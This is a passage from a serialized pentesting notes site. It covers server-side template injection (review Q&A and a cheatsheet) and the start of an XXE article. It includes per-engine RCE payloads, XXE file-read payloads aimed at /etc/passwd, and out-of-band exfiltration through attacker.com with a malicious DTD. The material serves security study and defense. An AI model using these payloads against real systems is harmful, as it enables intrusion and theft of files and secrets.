holes, but researchers find new bypasses.",[15,16848,16849,16852],{},[26,16850,16851],{},"Spring Framework (CVE-2022-22963):","\nSpEL injection (analogous to SSTI in Thymeleaf) → RCE. Mass exploitation.",[12813,16854],{},[19,16856,16858],{"id":16857},"_15-qa-review-questions","15. Q&A — Review questions",[137,16860,16862],{"id":16861},"what-is-ssti","What is SSTI?",[15,16864,16865,16866,16868,16869,16871,16872,16875,16876,16879],{},"A vulnerability where user input ends up not in the template's data but in the template itself — and the engine interprets it as code. Input ",[37,16867,15403],{}," becomes ",[37,16870,15561],{}," not because the application computed it, but because the template engine processed the expression. The key distinction from safe usage: ",[37,16873,16874],{},"render(template, data=input)"," is safe, ",[37,16877,16878],{},"render(\"Hello \" + input)"," is SSTI.",[137,16881,16883],{"id":16882},"what-typically-causes-ssti","What typically causes SSTI?",[15,16885,16886],{},"Concatenating user input with the template before rendering instead of passing it through parameters\u002Fcontext. Typical scenarios: customizing email templates through an admin panel, dynamically assembling pages from database fragments, a \"quick fix\" for inserting text without adding a new parameter. The developer fails to distinguish \"data for the template\" from \"part of the template.\"",[137,16888,16890],{"id":16889},"what-does-the-safe-pattern-look-like-compared-to-the-vulnerable-one","What does the safe pattern look like compared to the vulnerable one?",[15,16892,16893,16894,16897,16898,16901,16902,4244,16904,4244,16906,16908],{},"Safe: ",[37,16895,16896],{},"render_template(\"page.html\", name=user_input)"," — the engine substitutes the variable value, template special characters aren't interpreted. Vulnerable: ",[37,16899,16900],{},"render_template_string(\"Hello, \" + user_input)"," — the engine can't distinguish the static template from user input, everything gets processed as a single construct. Even if the input is escaped against HTML injection — template syntax (",[37,16903,16404],{},[37,16905,16532],{},[37,16907,15446],{},") still executes.",[137,16910,16912],{"id":16911},"what-two-ssti-contexts-are-important-to-distinguish","What two SSTI contexts are important to distinguish?",[15,16914,16915,16918,16919,1722,16922,1722,16925,16928,16929,16932,16933,16936,16937,16940],{},[26,16916,16917],{},"Plaintext context",": input is outside template constructs — ",[37,16920,16921],{},"Hello, INPUT",[37,16923,16924],{},"Hello, {{7*7}}",[37,16926,16927],{},"Hello, 49",". The payload works directly. ",[26,16930,16931],{},"Code context",": input is already inside a template expression — ",[37,16934,16935],{},"Hello, {{INPUT}}"," → you need to \"close\" the current construct first: ",[37,16938,16939],{},"username}}\u003Ctag>",". If the HTML tag appears in the response — the input broke out of the expression and is interpreted as template.",[137,16942,16944],{"id":16943},"why-is-ssti-often-confused-with-xss","Why is SSTI often confused with XSS?",[15,16946,16947,16948,16951,16952,4244,16954,4244,16957,524],{},"They look similar on the surface — input is reflected on the page. But XSS executes in the browser (client), while SSTI executes on the server. XSS gives access to DOM, cookies, localStorage. SSTI gives access to the filesystem, OS, network — it's a path to RCE. When initially discovering reflection, it's important to test not just ",[37,16949,16950],{},"\u003Cscript>alert(1)\u003C\u002Fscript>"," but also ",[37,16953,15403],{},[37,16955,16956],{},"${7*7}",[37,16958,16959],{},"\u003C%= 7*7 %>",[137,16961,16963],{"id":16962},"why-is-identifying-the-specific-template-engine-critical-for-ssti","Why is identifying the specific template engine critical for SSTI?",[15,16965,16966,16967,16970,16971,16973,16974,16976,16977,16979],{},"Each engine has its own syntax, available objects, restrictions, and paths to RCE. A Jinja2 payload (",[37,16968,16969],{},"__class__.__mro__",") won't work in Twig or Freemarker. The PortSwigger decision tree (",[37,16972,2778],{}," = ",[37,16975,15551],{}," → Jinja2, = ",[37,16978,15561],{}," → Twig) lets you identify the engine in 2-3 requests and pick the right payloads. Without identification — blind guessing that can take hours.",[137,16981,16983],{"id":16982},"whats-the-impact-of-ssti-if-rce-isnt-achieved","What's the impact of SSTI if RCE isn't achieved?",[15,16985,16986,16987,4244,16990,4244,16993,16996,16997,17000,17001,17004],{},"Reading template environment variables (",[37,16988,16989],{},"config",[37,16991,16992],{},"settings",[37,16994,16995],{},"env"," — often contain secrets, API keys, DB connection strings). Reading files (in Twig: ",[37,16998,16999],{},"source('\u002Fetc\u002Fpasswd')",", in Jinja2 via ",[37,17002,17003],{},"__subclasses__","). Internal information leakage: framework version, server paths, class names — useful for further attacks. SSTI without RCE is usually High severity due to confidential data exposure.",[137,17006,17008],{"id":17007},"why-is-the-template-engines-sandbox-not-absolute-protection","Why is the template engine's sandbox not absolute protection?",[15,17010,17011,17012,17015,17016,8649,17019,17022,17023,17026,17027,17030,17031,17034],{},"The sandbox restricts available operations — but researchers regularly find bypasses. Jinja2's ",[37,17013,17014],{},"SandboxedEnvironment"," blocks ",[37,17017,17018],{},"__class__",[37,17020,17021],{},"__mro__",", but attributes can be obtained via ",[37,17024,17025],{},"attr()"," filter, hex encoding, ",[37,17028,17029],{},"dict+join",". Twig's ",[37,17032,17033],{},"SecurityPolicy"," restricts filters and functions — but new bypasses appear with every version. The sandbox makes exploitation harder but doesn't eliminate the root cause — input is still interpreted as template.",[137,17036,17038],{"id":17037},"whats-the-mature-answer-for-ssti-defense","What's the mature answer for SSTI defense?",[15,17040,17041,17042,17045],{},"The main thing — ",[26,17043,17044],{},"never concatenate input with a template",", always pass it through context\u002Fvariables. If users need to write templates (CMS, email) — use logic-less engines (Mustache, Handlebars without helpers) that don't allow code execution. Sandbox is an additional layer, not the primary defense. Containerization and minimal privileges limit the blast radius if RCE occurs. The mature approach is a combination: separating data from template + logic-less engine or sandbox + container isolation.",[12813,17047],{},[19,17049,17051],{"id":17050},"_16-quick-review-cheatsheet","16. Quick-review cheatsheet",[142,17053,17056],{"className":17054,"code":17055,"language":147},[145],"SSTI = user input is interpreted by the template engine as code\n\nRoot cause:\n  render(\"Hello, \" + INPUT)   ← vulnerable (input AS template)\n  render(template, name=INPUT) ← safe (input as data)\n\nDetection:\n  {{7*7}}, ${7*7}, \u003C%= 7*7 %>, {7*7}, #{7*7}\n  → see 49 → SSTI\n  Polyglot: ${{\u003C%[%'\"}}%\\  → 500 with trace → engine present\n\nIdentification (tree):\n  {{7*'7'}} = 7777777 → Jinja2\n  {{7*'7'}} = 49      → Twig\n  ${7*7}              → Freemarker\u002FMako\n  \u003C%= 7*7 %>          → ERB\u002FEJS\n  \"test\".toUpperCase() → Pebble\n\nSandbox escape (Jinja2):\n  \"\" → __class__ → __mro__ → object → __subclasses__() → Popen → RCE\n  Quick: {{ cycler.__init__.__globals__.os.popen('id').read() }}\n\nKey payloads:\n  Jinja2:     {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}\n  Twig:       {{ ['id'] | filter('system') }}\n  Freemarker: ${\"freemarker.template.utility.Execute\"?new()(\"id\")}\n  ERB:        \u003C%= system(\"id\") %>\n  Mako:       ${__import__(\"os\").popen(\"id\").read()}\n  Pebble:     {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }}\n\nBlind SSTI:\n  Timing → heavy computation \u002F sleep\n  OOB → curl\u002Fnslookup to Collaborator\n\nChains:\n  SSTI → SSRF (requests from code)\n  SSRF → SSTI (internal service with templates)\n  SSTI → LFI (file reads before RCE)\n\nTools: tplmap, SSTImap, Burp Suite\nSeverity: almost always Critical (SSTI ≈ RCE)\n\nDefense: input via variables, not via concatenation with template\n",[37,17057,17055],{"__ignoreMap":87},[361,17059,17060],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":87,"searchDepth":88,"depth":88,"links":17062},[17063,17066,17067,17071,17080,17085,17097,17101,17104,17105,17112,17117,17118,17121,17122,17133],{"id":14829,"depth":88,"text":14830,"children":17064},[17065],{"id":14853,"depth":253,"text":14854},{"id":14919,"depth":88,"text":14920},{"id":15012,"depth":88,"text":15013,"children":17068},[17069,17070],{"id":15016,"depth":253,"text":15017},{"id":15288,"depth":253,"text":15289},{"id":15311,"depth":88,"text":15312,"children":17072},[17073,17074,17075,17076,17077,17078],{"id":15315,"depth":253,"text":15316},{"id":15383,"depth":253,"text":15384},{"id":15413,"depth":253,"text":15414},{"id":15471,"depth":253,"text":15472},{"id":15494,"depth":253,"text":15495},{"id":15511,"depth":253,"text":17079},"Key payload: {{7*'7'}}",{"id":15567,"depth":88,"text":15568,"children":17081},[17082,17083],{"id":15571,"depth":253,"text":15572},{"id":15612,"depth":253,"text":17084},"Why you can't just {{ import os; os.system(\"id\") }}",{"id":15641,"depth":88,"text":15642,"children":17086},[17087,17088,17089,17090,17091,17092,17093,17094,17095,17096],{"id":15645,"depth":253,"text":15646},{"id":15815,"depth":253,"text":15816},{"id":15841,"depth":253,"text":15842},{"id":15888,"depth":253,"text":15889},{"id":15931,"depth":253,"text":15932},{"id":15950,"depth":253,"text":15951},{"id":15976,"depth":253,"text":15977},{"id":16014,"depth":253,"text":16015},{"id":16027,"depth":253,"text":16028},{"id":16056,"depth":253,"text":16057},{"id":16102,"depth":88,"text":16103,"children":17098},[17099,17100],{"id":16113,"depth":253,"text":13106},{"id":16125,"depth":253,"text":16126},{"id":16145,"depth":88,"text":16146,"children":17102},[17103],{"id":16167,"depth":253,"text":16168},{"id":14031,"depth":88,"text":16179},{"id":14148,"depth":88,"text":16268,"children":17106},[17107,17108,17109,17110,17111],{"id":16271,"depth":253,"text":16272},{"id":16313,"depth":253,"text":16314},{"id":16344,"depth":253,"text":16345},{"id":16363,"depth":253,"text":16364},{"id":16379,"depth":253,"text":16380},{"id":16442,"depth":88,"text":16443,"children":17113},[17114,17115,17116],{"id":16446,"depth":253,"text":16447},{"id":16494,"depth":253,"text":16495},{"id":16538,"depth":253,"text":16539},{"id":14432,"depth":88,"text":16583},{"id":14492,"depth":88,"text":14493,"children":17119},[17120],{"id":16717,"depth":253,"text":16718},{"id":14572,"depth":88,"text":16820},{"id":16857,"depth":88,"text":16858,"children":17123},[17124,17125,17126,17127,17128,17129,17130,17131,17132],{"id":16861,"depth":253,"text":16862},{"id":16882,"depth":253,"text":16883},{"id":16889,"depth":253,"text":16890},{"id":16911,"depth":253,"text":16912},{"id":16943,"depth":253,"text":16944},{"id":16962,"depth":253,"text":16963},{"id":16982,"depth":253,"text":16983},{"id":17007,"depth":253,"text":17008},{"id":17037,"depth":253,"text":17038},{"id":17050,"depth":88,"text":17051},"Complete SSTI breakdown — detection, engine identification, sandbox escape, per-engine exploitation, blind SSTI, defense. Theory, methodology, cheatsheet.",{},"\u002Fnotes\u002Fpentesting\u002Fssti",{"title":14821,"description":17134},{"loc":17136},"notes\u002Fpentesting\u002Fssti",[2731,17141,266,17142,269],"template-injection","sandbox-escape","fGR_Qt0rl9lS1czhCyWpNZf8Z85O4msNhsyqoyRvZEc",{"id":17145,"title":17146,"author":6,"body":17147,"date":14808,"description":19668,"difficulty":93,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":19669,"navigation":96,"notes":93,"path":12988,"psTitle":93,"seo":19670,"sitemap":19671,"stem":19672,"tags":19673,"timeSpent":93,"type":14817,"__hash__":19676},"content_en\u002Fnotes\u002Fpentesting\u002Fxxe.md","XML External Entity (XXE)",{"type":8,"value":17148,"toc":19591},[17149,17152,17156,17163,17169,17180,17193,17195,17199,17203,17210,17214,17219,17266,17271,17325,17367,17377,17381,17396,17407,17413,17417,17423,17426,17431,17511,17513,17517,17519,17538,17540,17592,17596,17599,17605,17611,17622,17624,17628,17632,17639,17664,17666,17672,17676,17682,17687,17722,17725,17740,17743,17777,17786,17790,17797,17832,17835,17849,17856,17862,17868,17872,17882,17944,17947,17951,17957,17979,18001,18004,18008,18056,18059,18062,18076,18078,18082,18086,18093,18096,18098,18114,18133,18139,18141,18145,18149,18187,18190,18194,18225,18228,18245,18247,18251,18255,18270,18276,18280,18289,18292,18296,18299,18328,18331,18361,18368,18372,18378,18381,18383,18387,18391,18396,18402,18407,18413,18417,18423,18427,18433,18438,18440,18444,18451,18455,18485,18489,18515,18519,18529,18532,18534,18538,18541,18623,18627,18632,18658,18669,18673,18676,18694,18697,18701,18703,18707,18711,18728,18732,18735,18761,18768,18770,18832,18834,18840,18843,18878,18880,18884,18888,18893,18910,18915,18923,18928,18937,18942,18957,18962,18979,18984,18995,18999,19028,19038,19045,19049,19239,19242,19291,19293,19297,19348,19350,19354,19423,19425,19429,19438,19443,19449,19454,19456,19460,19464,19470,19474,19480,19484,19498,19502,19505,19509,19512,19516,19527,19531,19537,19541,19555,19559,19562,19566,19577,19579,19583,19589],[11,17150,17146],{"id":17151},"xml-external-entity-xxe",[19,17153,17155],{"id":17154},"_1-what-is-xxe","1. What Is XXE",[15,17157,17158,17159,17162],{},"XXE is a vulnerability where an XML parser ",[26,17160,17161],{},"resolves external entities",", letting an attacker read files, make server-side requests, and (sometimes) execute code.",[142,17164,17167],{"className":17165,"code":17166,"language":147},[145],"Attacker → XML with malicious DTD → Parser → Resolves entity\n                                                ↓\n                                    file:\u002F\u002F\u002Fetc\u002Fpasswd\n                                    http:\u002F\u002F169.254.169.254\u002F...\n                                    http:\u002F\u002Finternal-service\u002F...\n",[37,17168,17166],{"__ignoreMap":87},[15,17170,17171,17172,17175,17176,17179],{},"The key point: the parser ",[26,17173,17174],{},"itself"," fetches data from the URI in ",[37,17177,17178],{},"SYSTEM"," — the attacker just tells it where to go.",[15,17181,17182,17183,4244,17185,4244,17187,17189,17190,524],{},"This isn't a bug in application code — it's the design of the XML specification from 1998, which most parsers support by default. External entity support was a feature, not a bug. The problem is that \"any URI\" includes ",[37,17184,13153],{},[37,17186,14074],{},[37,17188,13254],{},", and sometimes ",[37,17191,17192],{},"expect:\u002F\u002F",[12813,17194],{},[19,17196,17198],{"id":17197},"_2-fundamentals-xml-dtd-entities","2. Fundamentals: XML, DTD, Entities",[137,17200,17202],{"id":17201},"xml-entity","XML Entity",[15,17204,17205,17206,17209],{},"An entity is a ",[26,17207,17208],{},"variable"," in XML. It's declared in the DTD and used in the document or within the DTD itself.",[137,17211,17213],{"id":17212},"two-ways-to-classify-entities","Two Ways to Classify Entities",[15,17215,17216],{},[26,17217,17218],{},"By value source:",[13075,17220,17221,17234],{},[13078,17222,17223],{},[13081,17224,17225,17228,17231],{},[13084,17226,17227],{},"Type",[13084,17229,17230],{},"Value",[13084,17232,17233],{},"Example",[13091,17235,17236,17251],{},[13081,17237,17238,17243,17246],{},[13096,17239,17240],{},[26,17241,17242],{},"Internal",[13096,17244,17245],{},"Defined directly in DTD",[13096,17247,17248],{},[37,17249,17250],{},"\u003C!ENTITY name \"John\">",[13081,17252,17253,17258,17261],{},[13096,17254,17255],{},[26,17256,17257],{},"External",[13096,17259,17260],{},"Loaded from a file\u002FURL",[13096,17262,17263],{},[37,17264,17265],{},"\u003C!ENTITY name SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">",[15,17267,17268],{},[26,17269,17270],{},"By usage location:",[13075,17272,17273,17287],{},[13078,17274,17275],{},[13081,17276,17277,17279,17281,17284],{},[13084,17278,17227],{},[13084,17280,15031],{},[13084,17282,17283],{},"Where it works",[13084,17285,17286],{},"Used for",[13091,17288,17289,17307],{},[13081,17290,17291,17296,17301,17304],{},[13096,17292,17293],{},[26,17294,17295],{},"General entity",[13096,17297,17298],{},[37,17299,17300],{},"&name;",[13096,17302,17303],{},"In the XML document body",[13096,17305,17306],{},"Classic XXE",[13081,17308,17309,17314,17319,17322],{},[13096,17310,17311],{},[26,17312,17313],{},"Parameter entity",[13096,17315,17316],{},[37,17317,17318],{},"%name;",[13096,17320,17321],{},"Only inside the DTD",[13096,17323,17324],{},"Blind XXE (OOB)",[142,17326,17328],{"className":1948,"code":17327,"language":1950,"meta":87,"style":87},"\u003C!-- General entity — in the document body -->\n\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n\n\u003C!-- Parameter entity — inside the DTD -->\n\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n\u003C!ENTITY % eval \"\u003C!ENTITY send SYSTEM 'http:\u002F\u002Fattacker.com\u002F?d=%file;'>\">\n%eval;\n",[37,17329,17330,17335,17340,17345,17349,17354,17358,17363],{"__ignoreMap":87},[313,17331,17332],{"class":315,"line":316},[313,17333,17334],{},"\u003C!-- General entity — in the document body -->\n",[313,17336,17337],{"class":315,"line":88},[313,17338,17339],{},"\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n",[313,17341,17342],{"class":315,"line":253},[313,17343,17344],{},"\u003Cfoo>&xxe;\u003C\u002Ffoo>\n",[313,17346,17347],{"class":315,"line":780},[313,17348,777],{"emptyLinePlaceholder":96},[313,17350,17351],{"class":315,"line":792},[313,17352,17353],{},"\u003C!-- Parameter entity — inside the DTD -->\n",[313,17355,17356],{"class":315,"line":802},[313,17357,1978],{},[313,17359,17360],{"class":315,"line":821},[313,17361,17362],{},"\u003C!ENTITY % eval \"\u003C!ENTITY send SYSTEM 'http:\u002F\u002Fattacker.com\u002F?d=%file;'>\">\n",[313,17364,17365],{"class":315,"line":833},[313,17366,1988],{},[15,17368,17369,17372,17373,17376],{},[26,17370,17371],{},"Why parameter entities matter:"," in blind XXE you need to build the payload ",[26,17374,17375],{},"inside the DTD"," — read a file and embed its contents into a URL. General entities can't do that — they only work in the body. Parameter entities let you substitute values directly within the DTD, building dynamic constructs.",[137,17378,17380],{"id":17379},"parameter-entity-restriction-in-the-internal-dtd-subset","Parameter Entity Restriction in the Internal DTD Subset",[15,17382,17383,17384,17387,17388,17391,17392,17395],{},"Per the XML spec, you cannot define a parameter entity and use it to create new entities ",[26,17385,17386],{},"within the same internal DTD subset",". This means a construct like ",[37,17389,17390],{},"\u003C!ENTITY % a \"...\"> \u003C!ENTITY % b \"\u003C!ENTITY &#x25; c SYSTEM '...'> %a;\"> %b;"," inside ",[37,17393,17394],{},"\u003C!DOCTYPE foo [ ... ]>"," won't work — the parser rejects it.",[15,17397,17398,17399,17402,17403,17406],{},"This is exactly why blind XXE requires an ",[26,17400,17401],{},"external DTD"," — parameter entities only work fully in an external DTD. It explains why blind XXE always loads ",[37,17404,17405],{},"evil.dtd"," from the attacker's server: only inside a loaded DTD file does the parser allow free combination of parameter entities, enabling substitution chains.",[15,17408,17409,17412],{},[26,17410,17411],{},"Exception"," — the trick with redefining an entity from a local system DTD (described in section 4, Error-based via entity redefinition). In this case you load a legitimate DTD file from the server itself and redefine one of its entities with your payload.",[137,17414,17416],{"id":17415},"dtd-document-type-definition","DTD (Document Type Definition)",[15,17418,17419,17420],{},"DTD is a set of rules describing XML structure. ",[26,17421,17422],{},"Entities are declared in the DTD.",[15,17424,17425],{},"No DTD = no entity declarations = no XXE.",[15,17427,17428],{},[26,17429,17430],{},"Where the DTD can live:",[142,17432,17434],{"className":1948,"code":17433,"language":1950,"meta":87,"style":87},"\u003C!-- 1. Internal DTD — inside the document itself (between [ and ]) -->\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n\n\u003C!-- 2. External DTD — loaded from a URL -->\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo SYSTEM \"http:\u002F\u002Fattacker.com\u002Fevil.dtd\">\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n\n\u003C!-- 3. Combined — internal + external -->\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo SYSTEM \"http:\u002F\u002Fattacker.com\u002Fevil.dtd\" [\n  \u003C!ENTITY % local \"value\">\n]>\n",[37,17435,17436,17441,17445,17449,17454,17458,17462,17466,17471,17475,17480,17484,17488,17493,17497,17502,17507],{"__ignoreMap":87},[313,17437,17438],{"class":315,"line":316},[313,17439,17440],{},"\u003C!-- 1. Internal DTD — inside the document itself (between [ and ]) -->\n",[313,17442,17443],{"class":315,"line":88},[313,17444,13930],{},[313,17446,17447],{"class":315,"line":253},[313,17448,13935],{},[313,17450,17451],{"class":315,"line":780},[313,17452,17453],{},"  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n",[313,17455,17456],{"class":315,"line":792},[313,17457,13945],{},[313,17459,17460],{"class":315,"line":802},[313,17461,17344],{},[313,17463,17464],{"class":315,"line":821},[313,17465,777],{"emptyLinePlaceholder":96},[313,17467,17468],{"class":315,"line":833},[313,17469,17470],{},"\u003C!-- 2. External DTD — loaded from a URL -->\n",[313,17472,17473],{"class":315,"line":842},[313,17474,13930],{},[313,17476,17477],{"class":315,"line":848},[313,17478,17479],{},"\u003C!DOCTYPE foo SYSTEM \"http:\u002F\u002Fattacker.com\u002Fevil.dtd\">\n",[313,17481,17482],{"class":315,"line":853},[313,17483,17344],{},[313,17485,17486],{"class":315,"line":874},[313,17487,777],{"emptyLinePlaceholder":96},[313,17489,17490],{"class":315,"line":889},[313,17491,17492],{},"\u003C!-- 3. Combined — internal + external -->\n",[313,17494,17495],{"class":315,"line":894},[313,17496,13930],{},[313,17498,17499],{"class":315,"line":899},[313,17500,17501],{},"\u003C!DOCTYPE foo SYSTEM \"http:\u002F\u002Fattacker.com\u002Fevil.dtd\" [\n",[313,17503,17504],{"class":315,"line":907},[313,17505,17506],{},"  \u003C!ENTITY % local \"value\">\n",[313,17508,17509],{"class":315,"line":919},[313,17510,13945],{},[12813,17512],{},[19,17514,17516],{"id":17515},"_3-where-to-look-for-xxe","3. Where to Look for XXE",[137,17518,12822],{"id":12821},[30,17520,17521,17529,17532,17535],{},[33,17522,17523,17524,12216,17526],{},"API endpoints with ",[37,17525,13999],{},[37,17527,17528],{},"text\u002Fxml",[33,17530,17531],{},"SOAP services (the entire protocol is XML-based)",[33,17533,17534],{},"XML file uploads (configs, feeds, data)",[33,17536,17537],{},"RSS\u002FAtom import",[137,17539,12853],{"id":12852},[30,17541,17542,17548,17554,17560,17566,17572,17578],{},[33,17543,17544,17547],{},[26,17545,17546],{},"SVG uploads"," — SVG is XML",[33,17549,17550,17553],{},[26,17551,17552],{},"DOCX\u002FXLSX\u002FPPTX uploads"," — ZIP archives with XML inside",[33,17555,17556,17559],{},[26,17557,17558],{},"GPX uploads"," — geodata in XML",[33,17561,17562,17565],{},[26,17563,17564],{},"XHTML"," — HTML in XML format",[33,17567,17568,17571],{},[26,17569,17570],{},"SAML"," — XML-based authentication",[33,17573,17574,17577],{},[26,17575,17576],{},"PDF generation"," from XML\u002FXSLT",[33,17579,17580,3699,17583,4244,17586,4244,17589],{},[26,17581,17582],{},"Configuration files",[37,17584,17585],{},".xml",[37,17587,17588],{},".plist",[37,17590,17591],{},".svg",[137,17593,17595],{"id":17594},"content-type-swap-json-xml","Content-Type Swap (JSON → XML)",[15,17597,17598],{},"If the application accepts JSON, try switching the format:",[142,17600,17603],{"className":17601,"code":17602,"language":147},[145],"# Before:\nPOST \u002Fapi\u002Fuser HTTP\u002F1.1\nContent-Type: application\u002Fjson\n\n{\"name\": \"test\", \"email\": \"test@test.com\"}\n\n# After:\nPOST \u002Fapi\u002Fuser HTTP\u002F1.1\nContent-Type: application\u002Fxml\n\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Cuser>\n  \u003Cname>&xxe;\u003C\u002Fname>\n  \u003Cemail>test@test.com\u003C\u002Femail>\n\u003C\u002Fuser>\n",[37,17604,17602],{"__ignoreMap":87},[15,17606,17607,17610],{},[26,17608,17609],{},"Why this works:"," frameworks (Spring, ASP.NET, Rails) often pick the parser automatically based on Content-Type. If the XML parser is enabled and not hardened — XXE.",[15,17612,17613,17614,4244,17616,4244,17619,524],{},"Also check: ",[37,17615,17528],{},[37,17617,17618],{},"application\u002Fxhtml+xml",[37,17620,17621],{},"image\u002Fsvg+xml",[12813,17623],{},[19,17625,17627],{"id":17626},"_4-xxe-types","4. XXE Types",[137,17629,17631],{"id":17630},"_41-classic-non-blind-xxe","4.1 Classic (Non-blind) XXE",[15,17633,17634,17635,17638],{},"The parser response ",[26,17636,17637],{},"is displayed"," — file contents are visible in the response.",[142,17640,17642],{"className":1948,"code":17641,"language":1950,"meta":87,"style":87},"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n",[37,17643,17644,17648,17652,17656,17660],{"__ignoreMap":87},[313,17645,17646],{"class":315,"line":316},[313,17647,13930],{},[313,17649,17650],{"class":315,"line":88},[313,17651,13935],{},[313,17653,17654],{"class":315,"line":253},[313,17655,17453],{},[313,17657,17658],{"class":315,"line":780},[313,17659,13945],{},[313,17661,17662],{"class":315,"line":792},[313,17663,17344],{},[15,17665,511],{},[142,17667,17670],{"className":17668,"code":17669,"language":147},[145],"root:x:0:0:root:\u002Froot:\u002Fbin\u002Fbash\ndaemon:x:1:1:daemon:\u002Fusr\u002Fsbin:\u002Fusr\u002Fsbin\u002Fnologin\n...\n",[37,17671,17669],{"__ignoreMap":87},[137,17673,17675],{"id":17674},"_42-blind-xxe","4.2 Blind XXE",[15,17677,17634,17678,17681],{},[26,17679,17680],{},"is not displayed",". Three approaches:",[17683,17684,17686],"h4",{"id":17685},"oob-out-of-band-sending-data-out","OOB (Out-of-Band) — Sending Data Out",[142,17688,17690],{"className":1948,"code":17689,"language":1950,"meta":87,"style":87},"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n  \u003C!ENTITY % dtd SYSTEM \"http:\u002F\u002Fattacker.com\u002Fevil.dtd\">\n  %dtd;\n]>\n\u003Cfoo>&send;\u003C\u002Ffoo>\n",[37,17691,17692,17696,17700,17705,17709,17713,17717],{"__ignoreMap":87},[313,17693,17694],{"class":315,"line":316},[313,17695,13930],{},[313,17697,17698],{"class":315,"line":88},[313,17699,13935],{},[313,17701,17702],{"class":315,"line":253},[313,17703,17704],{},"  \u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n",[313,17706,17707],{"class":315,"line":780},[313,17708,13973],{},[313,17710,17711],{"class":315,"line":792},[313,17712,13978],{},[313,17714,17715],{"class":315,"line":802},[313,17716,13945],{},[313,17718,17719],{"class":315,"line":821},[313,17720,17721],{},"\u003Cfoo>&send;\u003C\u002Ffoo>\n",[15,17723,17724],{},"evil.dtd on the attacker's server:",[142,17726,17728],{"className":1948,"code":17727,"language":1950,"meta":87,"style":87},"\u003C!ENTITY % all \"\u003C!ENTITY send SYSTEM 'http:\u002F\u002Fattacker.com\u002F?d=%file;'>\">\n%all;\n",[37,17729,17730,17735],{"__ignoreMap":87},[313,17731,17732],{"class":315,"line":316},[313,17733,17734],{},"\u003C!ENTITY % all \"\u003C!ENTITY send SYSTEM 'http:\u002F\u002Fattacker.com\u002F?d=%file;'>\">\n",[313,17736,17737],{"class":315,"line":88},[313,17738,17739],{},"%all;\n",[15,17741,17742],{},"The chain:",[335,17744,17745,17754,17762,17771],{},[33,17746,17747,17748,17750,17751],{},"Parser reads ",[37,17749,2191],{}," → into ",[37,17752,17753],{},"%file",[33,17755,17756,17757,17750,17759],{},"Loads ",[37,17758,17405],{},[37,17760,17761],{},"%dtd",[33,17763,17764,17767,17768,17770],{},[37,17765,17766],{},"%all"," assembles a new entity ",[37,17769,6346],{}," with data in the URL",[33,17772,17773,17776],{},[37,17774,17775],{},"&send;"," triggers an HTTP request to attacker.com carrying the data",[15,17778,17779,17782,17783,524],{},[26,17780,17781],{},"Tools for receiving:"," Burp Collaborator, interactsh, your own server with ",[37,17784,17785],{},"python3 -m http.server",[17683,17787,17789],{"id":17788},"error-based-data-in-the-error-message","Error-based — Data in the Error Message",[15,17791,17792,17793,17796],{},"Useful when a ",[26,17794,17795],{},"firewall blocks outbound connections"," (OOB doesn't work).",[142,17798,17800],{"className":1948,"code":17799,"language":1950,"meta":87,"style":87},"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n  \u003C!ENTITY % dtd SYSTEM \"http:\u002F\u002Fattacker.com\u002Ferror.dtd\">\n  